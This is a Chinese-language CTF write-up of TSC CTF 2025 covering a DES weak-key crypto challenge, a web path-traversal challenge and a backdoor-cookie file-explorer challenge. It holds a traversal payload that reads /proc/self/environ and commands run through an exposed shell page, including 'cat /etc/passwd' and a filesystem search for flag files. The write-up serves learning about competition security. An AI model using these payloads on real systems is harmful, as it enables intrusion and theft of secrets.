617 words

3 minutes

TSC CTF 2025

2025-01-17

2025-07-09

CTF Writeup

85 th / 509

很努力地去開提示，賭自己能不能多寫幾題，現實是，不能 (╥﹏╥)

個人成績

TSC CTF 2025#

Crypto#

2DES#

題目是

As you know, there are DES and 3DES in reality. However, I don’t like the existing composition. Hence, I invented 2DES, which is a combination of 2 DESs.

開了提示

Hint: NIST SP 800-67 are sometimes helpful

去找到 NIST SP 800-67 並上傳到 notebooklm，會發現 TDEA 有弱金鑰的問題

弱金鑰: 會將明文加密為相同密文
半弱金鑰: 成對的金鑰會將明文加密為相同的密文

NotebookLM

從題目中給的 code 可知，其中有一對在弱金鑰的範圍內

1
#!/usr/bin/env python
2
from Crypto.Cipher import DES
3
from Crypto.Util.Padding import pad
4
from random import choice
5
from os import urandom
6
from time import sleep
7

8
def encrypt(msg: bytes, key1, key2):
9
    des1 = DES.new(key1, DES.MODE_ECB)
10
    des2 = DES.new(key2, DES.MODE_ECB)
11
    return des2.encrypt(des1.encrypt(pad(msg, des1.block_size)))
12

13
def main():
14
    flag = open('/flag.txt', 'r').read().strip().encode()
15

16
    print("This is a 2DES encryption service.")
17
    print("But you can only control one of the key.")
18
    print()
19

20
    while True:
21
        print("1. Encrypt flag")
22
        print("2. Decrypt flag")
23
        print("3. Exit")
24
        option = int(input("> "))
25

26
        if option == 1:
27
            # I choose a key
28
            # You can choose another one
29
            keyset = ["1FE01FE00EF10EF1", "01E001E001F101F1", "1FFE1FFE0EFE0EFE"]
30
            key1 = bytes.fromhex(choice(keyset))
31
            key2 = bytes.fromhex(input("Enter key2 (hex): ").strip())
32

33
            ciphertext = encrypt(flag, key1, key2)
34
            print("Here is your encrypted flag:", flush=True)
35
            print("...", flush=True)
36
            sleep(3)
37
            if ciphertext[:4] == flag[:4]:
38
                print(ciphertext)
39
                print("Hmmm... What a coincidence!")
40
            else:
41
                print("System error!")
42
            print()
43

44
        elif option == 2:
45
            print("Decryption are disabled")
46
            print()
47

48
        elif option == 3:
49
            print("Bye!")
50
            exit()
51

52
        else:
53
            print("Invalid option")
54
            print()
55

56
if __name__ == "__main__":
57
    main()

1
1FE01FE00EF10EF1 和 E01FE01FF10EF10E

flag

1
TSC{th3_Key_t0_br34k_DES_15_tHe_keY}

Web#

Ave Mujica#

index

進入網頁後開 F12，可以觀察到所有圖片的來源都是由 image?name=example.webp 取得

src

接下來去嘗試相對路徑可不可以取得一些敏感檔案

mygo

經過嘗試後找到image?name=../../../proc/self/environ，打開檔案後就可以看到 flag

flag

1
TSC{敬愛爽🍷}

BeIDol#

剛開始試過 sql injection，但發現不是，接著去看程式碼

發現有一個 secretbackdoor123

把 phpsessid 改成 secretbackdoor123

cookies

進入到檔案管理系統

fileExplorer

用 script 去掃所有檔案

1
database:
2
  host: localhost
3
  user: admin
4
  password: [REDACTED]

file 11002

1
app_name: FileExplorer
2
debug: false
3
max_upload: 100M

file 11050

1
192.168.1.1 - - [01/Jan/2024:00:00:00 +0000] "GET / HTTP/1.1" 200

file 11051

1
[ERROR] Failed to connect to database
2
[ERROR] Invalid user input

file 11100

1
CREATE TABLE users (id INT, username VARCHAR(50));
2
INSERT INTO users VALUES (1, 'admin');

file 11500

1
<?php
2
functphpion check_auth() { /* ... */ }
3
?>

file 11999

1
DB_PASSWORD=secret123
2
API_KEY=abcd1234
3
DEBUG=false

file 12001

1
        <!DphpOCTYPE html>
2
        <html>
3
        <head>
4
            <title>System Command Interface</title>
5
            <style>
6
                body { font-family: monospace; background: #1e1e1e; color: #d4d4d4; padding: 20px; }
7
                pre { background: #2d2d2d; padding: 10px; border-radius: 5px; }
8
                .output { margin-top: 10px; }
9
            </style>
10
        </head>
11
        <body>
12
            <h2>System Command Interface</h2>
13
            <form method="GET">
14
                <input type="hidden" name="file_id" value="12001">
15
                Command: <input type="text" name="cmd" style="width: 300px;" value="">
16
                <input type="submit" value="Execute">
17
            </form>
18
            <div class="output">
19
                <pre>Try some commands:
20
ls -la
21
pwd
22
cat /etc/passwd</pre>            </div>
23
        </body>
24
        </html>

根據第 12001 找到的檔案輸入網址

12001

按照給的提示試試看 passwd

ls-al

index

login

jsscript

基本上沒有看到甚麼重要的東西，找找看有沒有 flag.txt

1
find / -name "flag*" 2>/dev/null

findFLAG

印出/opt/flag/flag.txt 的內容

flag

1
TSC{You_can_be_ID0R_12353oujhefrgiuoewihoqweihfo}

TUCTF

UofTCTF 2025